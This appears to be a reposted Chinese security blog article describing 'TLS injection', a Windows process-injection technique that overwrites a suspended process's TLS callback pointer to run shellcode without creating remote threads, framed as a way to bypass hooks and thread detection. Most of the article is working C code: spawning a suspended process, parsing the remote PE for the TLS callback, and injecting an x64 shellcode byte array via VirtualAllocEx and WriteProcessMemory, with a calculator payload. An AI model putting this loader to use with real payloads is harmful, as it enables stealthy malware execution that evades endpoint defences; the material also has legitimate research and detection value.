TLS 注入

admin 2024年3月8日22:33:03评论9 views字数 6333阅读21分6秒阅读模式

TLS 注入

本期作者/牛杰

概述

TLS 回调来执行有效负载,而不在远程进程中生成任何线程。此方法受到无线程注入的启发,因为 RemoteTLSCallbackInjection 不会调用任何 API 调用来触发注入的有效负载,因此可以绕过一些函数挂钩或线程检测。

步骤

1. 首先编译一个带TLS回调的程序,本例子使用x64。

注:先于主线程调用执行的TLS回调函数中使用printf可能会发生Runtime Error,因此打印使用的是WriteConsole API

#include <stdio.h>
#include <Windows.h>

#ifdef _WIN64
#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:thread_callback_base")
#else
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:_thread_callback_base")
#endif

void generate_str(char* ptr, DWORD reason)
{
    switch (reason) {
    case DLL_PROCESS_ATTACH:
        strcat(ptr, "DLL_PROCESS_ATTACHn");
        break;
    case DLL_PROCESS_DETACH:
        strcat(ptr, "DLL_PROCESS_DETACHn");
        break;
    case DLL_THREAD_ATTACH:
        strcat(ptr, "DLL_THREAD_ATTACHn");
        break;
    case DLL_THREAD_DETACH:
        strcat(ptr, "DLL_THREAD_DETACHn");
        break;
    }
}

// TLS回调1
void NTAPI tls_callback_1(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
    HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
    char ptr[256]{ 0 };
    strcpy(ptr, "TLS Callback1: ");


    generate_str(ptr, Reason);

    WriteConsoleA(hStdout, ptr, strlen(ptr), NULL, NULL);
}

// TLS回调2
void NTAPI tls_callback_2(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
    HANDLE hStdout = GetStdHandle(STD_OUTPUT_HANDLE);
    char ptr[256]{ 0 };
    strcpy(ptr, "TLS Callback2: ");

    generate_str(ptr, Reason);

    WriteConsoleA(hStdout, ptr, strlen(ptr), NULL, NULL);
}

#ifdef _WIN64
#pragma const_seg(".CRT$XLF")
EXTERN_C const
#else
#pragma data_seg(".CRT$XLF")
EXTERN_C
#endif
PIMAGE_TLS_CALLBACK thread_callback_base[] = { tls_callback_1, tls_callback_2, 0 };
#ifdef _WIN64
#pragma const_seg()
#else
#pragma data_seg()
#endif //_WIN64


int main(void)
{
   
    printf("main");
    return 0;
}
TLS 注入

2. 创建另一个项目,首先创建进程,打开刚编译好的TLSDEMO并挂起。

STARTUPINFOW StartupInfo = { .cb = sizeof(STARTUPINFOW) };
DWORD dwCreationFlags = dwFlags;

RtlSecureZeroMemory(pProcessInfo, sizeof(PROCESS_INFORMATION));

if (!CreateProcessW(NULL, szProcessImgNameAndParms, NULL, NULL, FALSE, dwCreationFlags, NULL, NULL, &StartupInfo, pProcessInfo)) {
  printf("[!] CreateProcess Error: %d n", GetLastError());
  return FALSE;
}

3. PE解析,获取TLS回调函数地址。

void freeMem(ULONG_PTR& uImageBaseBuffer) {
  free(&uImageBaseBuffer);
  uImageBaseBuffer = 0;
};
LONG_PTR getTlsCallback(HANDLE hThread,HANDLE hProcess){
  
  ULONG_PTR uImageBase = NULL;
  ULONG_PTR uImageBaseBuffer = NULL;
  CONTEXT ThreadContext = {0};
  ThreadContext.ContextFlags = CONTEXT_ALL;
  PIMAGE_NT_HEADERS pImgNtHdrs = NULL;
  PIMAGE_DATA_DIRECTORY pEntryTLSDataDir = NULL;
  PIMAGE_TLS_CALLBACK pImgTlsCallback = NULL;
  //获取PEB
  if (!GetThreadContext(hThread, &ThreadContext)) {
    printf("GetThreadContext Failed: %dn", GetLastError());
    return FALSE;
  }
  if (!ReadProcessMemory(hProcess, (PVOID)(ThreadContext.Rdx + offsetof(PEB, Reserved3[1])), &uImageBase, sizeof(PVOID), NULL)) {
    printf("ReadProcessMemory Failed: %dn", GetLastError());
    return FALSE;
  }
  //获取ImageBase
  if (!(uImageBaseBuffer = (ULONG_PTR)malloc(0x1000))) {
    printf("LocalAlloc Failed: %d n", GetLastError());
    return FALSE;
  }
  //获取NT头
  if (!ReadProcessMemory(hProcess, (PVOID)uImageBase, (LPVOID)uImageBaseBuffer, 0x1000, NULL)) {
    printf("ReadProcessMemory Failed: %dn", GetLastError());
    freeMem(uImageBaseBuffer);
    return FALSE;
  }
  pImgNtHdrs = (PIMAGE_NT_HEADERS)(uImageBaseBuffer + ((PIMAGE_DOS_HEADER)uImageBaseBuffer)->e_lfanew);
  pEntryTLSDataDir = &pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
  //读取TLS回调
  if (!ReadProcessMemory(hProcess, (PVOID)(uImageBase + pEntryTLSDataDir->VirtualAddress + offsetof(IMAGE_TLS_DIRECTORY, AddressOfCallBacks)), &pImgTlsCallback, sizeof(PVOID), NULL)){
    printf("ReadProcessMemory Failed With Error: %dn", GetLastError());
    freeMem(uImageBaseBuffer);
    return FALSE;
  }
  return (LONG_PTR)pImgTlsCallback;
  return FALSE;
}

4. 注入shellcode,这一过程需要分三步:

  • a.将原始tls回调函数地址写入payload

  • b.将payload注入进程

  • c.修改进程tls函数为注入payload,payload功能为弹出一个计算器。

BOOL WritePayloadRemotely(HANDLE hProcess, ULONG_PTR pImgTlsCallback) {
  unsigned char payload[] = {
  0x51, 0x52, 0x41, 0x51, 0x41, 0x50, 0x41, 0x53, 0x41, 0x52, 0x48,
  0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0x48, 0xB9,
  0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x0B,
  0x48, 0x83, 0xEC, 0x50, 0x48, 0x89, 0xD9, 0x48, 0xC7, 0xC2, 0x00,
  0x04, 0x00, 0x00, 0x41, 0xB8, 0x02, 0x00, 0x00, 0x00, 0x4C, 0x8D,
  0x4C, 0x24, 0x20, 0x48, 0xB8, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB, 0xBB,
  0xBB, 0xBB, 0xFF, 0xD0, 0xE8, 0x0F, 0x00, 0x00, 0x00, 0x48, 0x83,
  0xC4, 0x50, 0x41, 0x5A, 0x41, 0x5B, 0x41, 0x58, 0x41, 0x59, 0x5A,
  0x59, 0xC3, 0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4,
  0xF0, 0x50, 0x6A, 0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54,
  0x59, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76,
  0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48,
  0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
  0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F,
  0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57,
  0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01,
  0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7, 0x48,
  0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
  };
  SIZE_T writeSize = 0;
  DWORD dwOldProtection = 0x0;
  LPVOID uVirtualProtect = VirtualProtect;
  SIZE_T sNumberOfBytesRead = 0x0;
  unsigned long long  ullOriginalBytes = 0x0;
  ULONG_PTR uImgTlsCallbackBytes = (ULONG_PTR)malloc(0x10);
  //1.将原始tls回调函数地址写入payload
  if (pImgTlsCallback) {
    if (!ReadProcessMemory(hProcess, (LPVOID)pImgTlsCallback, (LPVOID)uImgTlsCallbackBytes, 0x10, &sNumberOfBytesRead) || sNumberOfBytesRead != 0x10) {
      printf("[!] ReadProcessMemory [%d] Failed With Error: %dn", __LINE__, GetLastError());
      freeMem(uImgTlsCallbackBytes);
    }
  }
  
  ullOriginalBytes = *(unsigned long long*)uImgTlsCallbackBytes;
  memcpy(&payload[12], &pImgTlsCallback, sizeof(pImgTlsCallback));
  memcpy(&payload[22], &ullOriginalBytes, sizeof(ullOriginalBytes));
  memcpy(&payload[60], &uVirtualProtect, sizeof(unsigned long long));
  //2.写入payload
  LPVOID injectAddress = VirtualAllocEx(hProcess, NULL, (sizeof(payload)), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (injectAddress) {
    WriteProcessMemory(hProcess, injectAddress, payload, sizeof(payload), &writeSize);
    VirtualProtectEx(hProcess, injectAddress, sizeof(payload), PAGE_EXECUTE_READWRITE, &dwOldProtection);
  }
  //3.更换tls函数
  VirtualProtectEx(hProcess, (LPVOID)pImgTlsCallback, 0x400, PAGE_READWRITE, &dwOldProtection);
  WriteProcessMemory(hProcess, (LPVOID)pImgTlsCallback, &injectAddress, sizeof(PVOID), NULL);
  return FALSE;
}

验证

唤醒线程,弹出计算器

TLS 注入

在进程唤醒前下断点,附加TLS测试demo,查看payload

TLS 注入

dump该进程,发现tls已经被更改。

TLS 注入

TLS 注入

原文始发于微信公众号(蛇矛实验室):TLS 注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月8日22:33:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TLS 注入https://cn-sec.com/archives/2560828.html

发表评论

匿名网友 填写信息